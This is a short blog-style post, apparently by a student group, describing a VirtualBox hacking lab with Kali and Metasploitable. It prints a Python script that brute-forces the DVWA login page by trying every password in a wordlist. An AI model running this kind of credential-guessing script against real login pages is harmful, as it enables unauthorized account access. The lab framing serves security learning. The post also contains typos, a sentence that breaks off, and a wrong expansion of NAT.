Greenhack

Using a Virtual Box we worked on exploiting vulnerable environments and creating a vulnerability scanner using a NAT (Network Address Transfer) network, Kali, to alter and change the IP address using the bash command ‘ifconfig’ on a terminal.

Metasploitable, a Host only network Linux Ubuntu virtual environment, was used to perform hacking. This enabled the group to practice python and shell scripting in practice to get a better understanding of how to bypass the systems. Changing the IP Address by using the ‘ifcongig’ shell command to get the

Below is the python code we used to look up the passwords listed from the root downloads folder and targeted to the url with the IP address used using the DVWA vulnerable environment.

#!/usr/bin/env python

import requests

target_url = "http://192.168.56.101/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit"}

with open("/root/Downloads/passwords.txt", "r") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Login Failed" not in response.content:
            print("[+] Got the password --> " + word)
            exit()

print("[+] Reached end of line.")

Leave a comment